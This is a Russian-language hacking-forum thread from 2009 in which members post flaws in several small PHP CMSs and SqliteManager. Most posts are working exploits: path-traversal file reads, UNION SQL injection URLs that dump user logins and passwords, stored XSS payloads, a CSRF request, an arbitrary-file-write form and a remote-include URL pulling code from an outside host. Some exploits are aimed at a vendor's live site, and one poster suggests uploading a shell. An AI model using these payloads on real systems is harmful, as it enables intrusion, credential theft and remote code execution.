06.07.2009, 17:03
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
С нами:
9423746
Репутация:
2399
GenCMS
Код:
GenCMS
http://gencms.berlios.de/
eLwaux(c)2009
LFI
/show.php
----------------------------------------------------------------------------------------------------
18: $param = $_GET['p'];
19: if(empty($param)) $param = 'news';
20: //get right page
21: //$page = $param.'.php';
22:
23: //static or dynamic
24: if(GC_FULLSTATIC)
25: {
26: $page = $param.'.htm';
27: staticpage($page);
28: }
29: else
30: {
31: $page = GC_IPATH.'_base/sites/'.$param.'.php';
32: dynamicpage($page);
33: }
----------------------------------------------------------------------------------------------------
PoC: /show.php?p=../../{FILE.PHP}%00
LFI
/admin/pages/SiteNew.php
----------------------------------------------------------------------------------------------------
14: if(!empty($_GET['step'])) $Step = $_GET['step'];
23: if ($Step == "2")
24: {
25: // allgemeine settings
26: //include blocks from template config
27: include_once(GC_IPATH.'templates/'.$_POST['Template'].'/config.php');
28: $TPLBlocks = explode(';',$TemplateSettings);
29: }
----------------------------------------------------------------------------------------------------
PoC: /admin/pages/SiteNew.php?step=2& ( POST: Template=../{FILE.PHP}%00 )
13.07.2009, 00:06
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами:
9010027
Репутация:
308
SqliteAdmin
CSRF
Код:
http://site/sqlitemanager/main.php?dbsel=1
POST /sqlitemanager/main.php?dbsel=1 HTTP/1.1
Host: 190.161.4.211
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3,
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://site/sqlitemanager/main.php?dbsel=1&function=IF&action=modify
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 332
FunctName=IF&FunctType=1&FunctCode=echo+%27test%27%3B%0D%0Afunction+sqliteIf%28%24compare%2C+%24good%2C+%24bad%29%7B%0D%0A++++if+%28%24compare%29+%7B%0D%0A++++++++return+%24good%3B%0D%0A++++%7D+else+%7B+%0D%0A++++++++return+%24bad%3B%0D%0A++++%7D%0D%0A%7D&FunctFinalCode=&FunctNumArgs=3&FunctAttribAll=1&function=IF&id=1&action=save
27.07.2009, 18:38
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
С нами:
9423746
Репутация:
2399
elgg <= 1.5 vuln LFI
POC: /_css/js.php?js=../../../../tmp/session_dir%00&viewtype=xD
необходимо, чтоб в табл datalists
simplecache_enabled=0
(по дефолту =1 xD)
Код:
/_css/js.php:
33: $viewinput['view'] = 'js/' . $_GET['js'];
42: require_once(dirname(dirname(__FILE__)) . '/simplecache/view.php');
/simplecache/view.php:
26: $view = $viewinput['view'];
30: if (@mysql_select_db($CONFIG->dbname,$mysql_dblink)) {
48: if ($simplecache_enabled || $override) {
49: $filename = $dataroot . 'views_simplecache/' . md5($viewtype . $view);
51: $contents = file_get_contents($filename);
56: } else {
59: $contents = elgg_view($view);
/lib/elgglib.php:
237: function elgg_view($view, ..
317: foreach($viewlist as $priority => $view) {
321: if (file_exists($view_location . "{$viewtype}/{$view}.php") &&
!include($view_location . "{$viewtype}/{$view }.php") ) {
Irokez CMS 0.7.1 SQL inlection
05.08.2009, 10:19
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
С нами:
8850336
Репутация:
330
Irokez CMS 0.7.1 SQL inlection
Irokez CMS 0.7.1 SQL inlection
Уязвимость хранится в функции select() класса table.class.php. Дело в том, что передаваемые функцией параметры ничем не фильтруются.
Copeц бажной функции:
PHP код:
function select ( $id )
{
if (isset( $this -> _cache [ $id ])) {
$data = $this -> _cache [ $id ];
} else {
$data = array();
/*
get data
*/
$is_trans = in_array ( $this -> _name . $this -> _trans , $this -> db -> getTables ());
if ( $is_trans ) {
$query = "select t.*, m.* from { $this -> _name } m"
. " left join { $this -> _name }{ $this -> _trans } t on (t. { $this -> _item } = m.id)"
. " where m.id = ' $id ' group by { $this -> _lang } " ;
} else {
$query = "select * from { $this -> _name } where id = ' $id '" ;
}
$result = $this -> db -> exeQuery ( $query );
$main_fields = $this -> db -> getFields ( $this -> _name );
if ( $is_trans ) {
$trans_fields = $this -> db -> getFields ( $this -> _name . $this -> _trans );
$trans_fields = array_flip ( $trans_fields );
} else {
$trans_fields = array();
}
unset( $trans_fields [ $this -> _item ], $trans_fields [ $this -> _lang ]);
$trans_fields = array_flip ( $trans_fields );
$data = array();
while ( $row = mysql_fetch_assoc ( $result )) {
foreach ( $row as $field => $value ) {
if ( in_array ( $field , $main_fields )) {
$data [ $field ] = $value ;
} elseif ( in_array ( $field , $trans_fields )) {
$data [ $field ][ $row [ $this -> _lang ]] = $value ;
}
}
}
if (isset( $data [ 'id' ])) {
$this -> _cache [ $data [ 'id' ]] = $data ;
}
}
return $data ;
}
Условия: magic_quotes_gpc = Off
Эксплатация:
PHP код:
http : //localhost/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1
PHP код:
http : //localhost/ru/polls/4'+AND+ascii(lower(substring(version(),1,1)))>5--+/
Для защиты данной функции можно использовать функцию mysql_escape_string()
Пример защиты:
PHP код:
function select ( $id )
{
if (isset( $this -> _cache [ $id ])) {
$data = $this -> _cache [ $id ];
} else {
$data = array();
/*
get data
*/
$is_trans = in_array ( $this -> _name . $this -> _trans , $this -> db -> getTables ());
if ( $is_trans ) {
$id = mysql_escape_string ( $id );
$query = "select t.*, m.* from { $this -> _name } m"
. " left join { $this -> _name }{ $this -> _trans } t on (t. { $this -> _item } = m.id)"
. " where m.id = ' $id ' group by { $this -> _lang } " ;
} else {
$query = "select * from { $this -> _name } where id = ' $id '" ;
}
$result = $this -> db -> exeQuery ( $query );
$main_fields = $this -> db -> getFields ( $this -> _name );
if ( $is_trans ) {
$trans_fields = $this -> db -> getFields ( $this -> _name . $this -> _trans );
$trans_fields = array_flip ( $trans_fields );
} else {
$trans_fields = array();
}
unset( $trans_fields [ $this -> _item ], $trans_fields [ $this -> _lang ]);
$trans_fields = array_flip ( $trans_fields );
$data = array();
while ( $row = mysql_fetch_assoc ( $result )) {
foreach ( $row as $field => $value ) {
if ( in_array ( $field , $main_fields )) {
$data [ $field ] = $value ;
} elseif ( in_array ( $field , $trans_fields )) {
$data [ $field ][ $row [ $this -> _lang ]] = $value ;
}
}
}
if (isset( $data [ 'id' ])) {
$this -> _cache [ $data [ 'id' ]] = $data ;
}
}
return $data ;
}
=========================================
Оформленый эксплойт:
Код:
[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Irokez 0.7.1 SQL inlection]--------------------------------------------[+]
[+]--------------------------------------------------------------------------------------------------------------------[+]
-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Irokez 0.7.1 SQL inlection
[+] Autor: Ins3t
[+] Date:04.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]
-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability is caused by insufficient processing of select() function, which led to the SQL inj.
[+] Conditions: magic_quotes_gpc = Off
[+] Code vulnerable functions:
[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
function select($id)
{
if (isset($this->_cache[$id])) {
$data = $this->_cache[$id];
} else {
$data = array();
/*
get data
*/
$is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
if ($is_trans) {
$query = "select t.*, m.* from {$this->_name} m"
. " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
. " where m.id = '$id' group by {$this->_lang}";
} else {
$query = "select * from {$this->_name} where id = '$id'";
}
$result = $this->db->exeQuery($query);
$main_fields = $this->db->getFields($this->_name);
if ($is_trans) {
$trans_fields = $this->db->getFields($this->_name . $this->_trans);
$trans_fields = array_flip($trans_fields);
} else {
$trans_fields = array();
}
unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
$trans_fields = array_flip($trans_fields);
$data = array();
while ($row = mysql_fetch_assoc($result)) {
foreach ($row as $field => $value) {
if (in_array($field, $main_fields)) {
$data[$field] = $value;
} elseif (in_array($field, $trans_fields)) {
$data[$field][$row[$this->_lang]] = $value;
}
}
}
if (isset($data['id'])) {
$this->_cache[$data['id']] = $data;
}
}
return $data;
}
[+]------------------------------------------------[/COD]--------------------------------------------------------------[+]
[+] Exploit:
[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
http://localhost/cms/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1
[+]------------------------------------------------[/COD]--------------------------------------------------------------[+]
Последний раз редактировалось Ins3t; 05.08.2009 в 17:11 ..
09.08.2009, 01:09
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
С нами:
8850336
Репутация:
330
Mini-CMS 1.0.1 SQL inlection
Вот наткнулся на Mini-CMS 1.0.1, скачал, открыл первый попавшийся сорец, сразу понял, что CMS бажная..
Уязвимый файл: page.php
Фрагмент уязвимого кода:
PHP код:
<?php
$id = $_GET [ 'id' ];
database_connect ();
$query = "SELECT * from content
WHERE id = $id " ;
$error = mysql_error ();
if (! $result = mysql_query ( $query )) {
print " $error " ;
exit;
}
while( $row = mysql_fetch_object ( $result )){
$content = $row -> text ;
print( " $content " );
}
?>
Требования: magic_quotes_gpc = Off и полный путь к config.php
Эксплатация уязвимости:
PHP код:
http : //localhost/page.php?id=-1+union+select+1,2,3,4,load_file(''),6,7,8,9+into+outfile+'/config.txt'--+
Пароли от админки не хранятся в базе данных, а хранятся в файле config.php, из за этого нам приходится записывать конфиг в текстовый файл ( хотя лутше уже шелл лить
).
Оформленый эксплойт:
Код:
[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Mini-CMS 1.0.1 SQL inlection]------------------------------------------[+]
[+]--------------------------------------------------------------------------------------------------------------------[+]
-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Mini-CMS 1.0.1 SQL inlection
[+] Autor: Ins3t
[+] Site: www.arthacking.net
[+] Date:08.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]
-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability occurs due to insufficient filtering transferred database parameters. Password is not in the
database, and in the config.php file.
[+] Conditions: magic_quotes_gpc = Off | full patch of file config.php
[+] Code vulnerable functions:
[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
<?php
$id = $_GET['id'];
database_connect();
$query = "SELECT * from content
WHERE id = $id"; <------(BUG)
$error = mysql_error();
if (!$result = mysql_query($query)) {
print "$error";
exit;
}
while($row = mysql_fetch_object($result)){
$content = $row->text;
print("$content");
}
?>
[+]------------------------------------------------[/COD]---------------------------------------------------------------[+]
[+] Exploit:
[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]'--+
[+]------------------------------------------------[/COD]---------------------------------------------------------------[+]
Последний раз редактировалось Ins3t; 09.08.2009 в 01:13 ..
16.08.2009, 23:55
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами:
9154406
Репутация:
2221
Ngcms
XSS Активная (!)
Регестрируемся
В поле "Сайт" и "Откуда"
Код:
"><script>alert();</script>
При просмотре админом через админ панель ваш профайл, выполняется XSS.
PHP код:
$tvars [ 'vars' ] = array(
'php_self' => $PHP_SELF ,
'sort_options' => $sort_options ,
'how_options' => $how_options ,
'npp_nav' => $npp_nav ,
'entries' => $entries ,
'per_page' => $per_page ,
'name' => htmlspecialchars ( $_REQUEST [ 'name' ]),
);
$tpl -> template ( 'table' , tpl_actions . $mod );
$tpl -> vars ( 'table' , $tvars );
echo $tpl -> show ( 'table' );
Ещё есть.
При добавление новости.
В краткое содержание или полное без разницы.
Код:
[img]javascript :alert('XSS')[/img]
PHP код:
$tvars [ 'vars' ] = array(
'php_self' => $PHP_SELF ,
'changedate' => ChangeDate ( $row [ 'postdate' ]),
'catlist' => makeCategoryList (array( 'skip' => $cats , 'nameval' => 1 )),
'allcats' => @ GetAllCategories ( $cats ),
'comments' => $parse -> smilies ( $comments ),
'id' => $row [ 'id' ],
'title' => secure_html ( $row [ 'title' ]),
'short' => secure_html ( $story [ 0 ]),
'full' => secure_html ( $story [ 1 ]),
'alt_name' => $row [ 'alt_name' ],
'avatar' => $row [ 'avatar' ],
'description' => secure_html ( $row [ 'description' ]),
'keywords' => secure_html ( $row [ 'keywords' ]),
'views' => $row [ 'views' ]
);
PS
Уязвим везде параметр [IMG][/IMG]
(c) Ctacok. Специально для Античат.
Последний раз редактировалось Ctacok; 17.08.2009 в 00:22 ..
21.08.2009, 22:59
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
KESoft: CMS Кеша
1.
SQL - inj
PHP код:
#получаем список блоков
$z = "select blocks.def_ps, blocks.fname, bpp.psev from blocks, bpp where (bpp.page_id= $pg )and(bpp.block_id=blocks.id)" ;
$result = mysql_query ( $z , $connect );
2. Доступ в админку
PHP код:
$z = "select id,status from users where (login='" . $_POST [ "u_login" ]. "')and(pass=PASSWORD('" . $_POST [ "u_pass" ]. "'))" ;
$result = mysql_query ( $z , $connect );
при MQ=off
их офф сайт _http://www.kesoft.ru/index.php?pg=20'
Ну я как бы просто показал
Result:
http://www.kesoft.ru./index.php?pg=20+and+substring(version(),1,1)=5#
Чтение файлов
http://site.ru/RU(или ru)/blocks/Templ_lst.php?l=../../db.php%00
файл:UserPar.php
pg_param.php
http://www.сайт.ru/ru/blocks/UserPar.php?l=../
http://www.kesoft.ru/ru/blocks/UserPar.php?l=Http://mail.ru/%00 (читаем mail.ru
)
Инклуд удаленный Даже файл админа в инклуде
http://www.kesoft.ru/admin.php?l='%00
условия в посте Grey'a
P.S. Там что не файл, то уязвимость) PSS угу
Последний раз редактировалось HAXTA4OK; 22.08.2009 в 10:43 ..
21.08.2009, 23:23
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
Сообщение от
HAXTA4OK
KESoft: CMS Кеша
Зачетная cms:
Чтение файлов:
Файл: blocks/auth.php
PHP код:
<?php
$bdata = file ( $l . "blocks/Auth.dat" );
$bdata = str_replace ( "@u_login@" , $u , $bdata );
$bdata = str_replace ( "@u_pass@" , "" , $bdata );
for ( $ii = 0 ; $ii < count ( $bdata ); $ii ++) {
echo $bdata [ $ii ];
Юзаем так: http://site.ru/RU(или ru)/blocks/auth.php?l=../../db.php%00
Создание произвольного файла:
Файл: RU(или ru)/blocks/BlockPar.php
PHP код:
if ( count ( $_POST )> 0 ) {
.....................
if ( $_POST [ "Submit" ]== "Сохранить изменения текста" ) {
$z = "select fname from blocks where id= $par " ;
$tmpr = mysql_query ( $z , $connect );
$fp = fopen ( $l . mysql_result ( $tmpr , 0 , "fname" ), "w" );
fputs ( $fp , $_POST [ "BlockData" ]);
fclose ( $fp );
$m = "Содержимое файла блока <font color=green>заменено</font>" ;
};
Юзаем так:
Код:
<html>
<head><title>pLoEnT na HTML!!!</title></head>
<body>
<form action="http://site.ru/RU(или ru)/blocks/BlockPar.php?l=../../file.php%00" method="post">
<textarea name="BlockData" cols="80" rows="10"></textarea>
<input type="submit" name="Submit" value="Сохранить изменения текста">
</form>
</body>
</html>
Ой, а там файлов больше чем я думал, продолжим:
Удалённый инклуд:
Файл: RU(или ru)/blocks/reg.php
PHP код:
<?php
include $l . "blocks\\UserPar.php" ;
?>
Юзаем так: http://site.ru/RU(или ru)/blocks/reg.php?l=http://heck.ru/file.php?
Даже листинг дир в комплект входит:
Юзаем так: http://site.ru/RU(или ru)/blocks/moduls.php?l=../../%00 (правда вывод кривой, но это мелочи)
Нужно: mq=off, rg=on, ну а для удалённого инклуда ещё и allow_url_include=он
P.S. Там что не файл, то уязвимость)
Последний раз редактировалось Grey; 21.08.2009 в 23:40 ..
23.08.2009, 00:16
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
Продукт: CMS Mini
Версия: <= 0.2.2
Оффсайт: cmsmini.it
Скачать: http://sourceforge.net/projects/cmsmini/
Уязвимость №1:
Проникновение в админ-панель.
Уязвимость существует из-за недостаточной фильтрации данных.
Уязвимый код:
PHP код:
if ( $_SESSION != 1 ) header ( 'location: login.php' );
Если параметр cmsmini_login отличен от еденици, сервер отправляет заголовок Location: login.php. Но выполнения скрипта не останавливается. Это всего лишь браузер воспринимает заголовк как редирект.
Эксплуатация:
Для эксплуатации уязвимости необходимо использовать сниффер отправленых пакетов. После открытия страницы /admin/index.php, сниффер получит заголовки вида:
Код:
HTTP/1.1 302 Found
Date: Sat, 22 Aug 2009 19:16:45 GMT
Server: Apache/2.2.11 (Win32) PHP/5.2.9-2
X-Powered-By: PHP/5.2.9-2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Transfer-Encoding: chunked
Content-Type: text/html
Кроме них в сниффере можно увидеть тело админки. Неудобная, но все же уязвимость.
Уязвимость №2:
Заливка файла произвольного расширения.
Уязвимость существует из-за отсутствия фильтрации/проверки расширения файла.
Уязвимый код:
PHP код:
case 'newimage' :
$imagefile = $_FILES [ 'imagefile' ];
if( is_uploaded_file ( $imagefile [ 'tmp_name' ]) ) new_image ( $imagefile , $dirpath );
else die( 'image upload failed...' );
break;
Код:
/admin/functions.php
PHP код:
function new_image ( $imagefile , $dirpath ){
$name = $imagefile [ 'name' ];
$filename = $dirpath . '/' . $name ;
$dirlist = $dirpath . '/dir.list' ;
$new_row = $name . '|' . $name . '|0|' ;
move_uploaded_file ( $imagefile [ 'tmp_name' ], $filename );
in_dirlist ( $dirlist , $new_row );
}
Эксплуатация:
Залить любой файл в поле Image.
Уязвимость №3:
Читалка файлов.
Уязвимость существует из-за отсутствия фильтрации входящих данных в параметре path.
Уязвимый код:
PHP код:
$subpath = $_GET [ 'path' ];
if( $subpath )
$dirpath = '../pages/' . $subpath ;
...
$dirlist = $dirpath . '/dir.list' ;
...
$rows = file ( $dirlist );
...
$n = count ( $rows );
...
for( $i = 0 ; $i < $n ; $i ++ ){
//тут много echo с выводом файла
Эксплуатация:
Код:
/admin/index.php?path=../admin/config.php%00
Уязвимость №4:
Активная XSS.
Уязвимость существует из-за отсутствия фильтрации входящих данных.
Уязвимый код:
Эксплуатация:
HTML-код в поле Page/Folder -> create new page / create new folder.
Уязвимость №5:
"Листинг" директорий.
Уязвимость существует из-за отсутствия запрета на чтение файла со списком файлов/директрий.
© mailbrush
Это не все дырки этой CMS...
24.08.2009, 11:15
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
Сообщение от
mailbrush
Продукт: CMS Mini
Версия: <= 0.2.2
Оффсайт: cmsmini.it
Скачать: http://sourceforge.net/projects/cmsmini/
1.
Читалка файлов
admin/edit.php
PHP код:
$filename = $dirpath . '/' . $name ;
$fh = fopen ( $filename , 'r' );
Эксплуатация
cmsmini-0.2.2./admin/edit.php?path=&name=../COPYING
При register_globals On
2.
Пассивная XSS
cmsmini-0.2.2./admin/index.php?path=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E
3.
Создание произвольного файла
cmsmini-0.2.2./admin/reorder.php?path=../reorder1.php%00
Последний раз редактировалось HAXTA4OK; 24.08.2009 в 11:39 ..
Предыдущая тема
Следующая тема
Похожие темы
Тема
Автор
Раздел
Ответов
Последнее сообщение
Библиотека
SladerNon
Болталка
17
05.02.2007 23:30
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
English (US)
Russian (RU)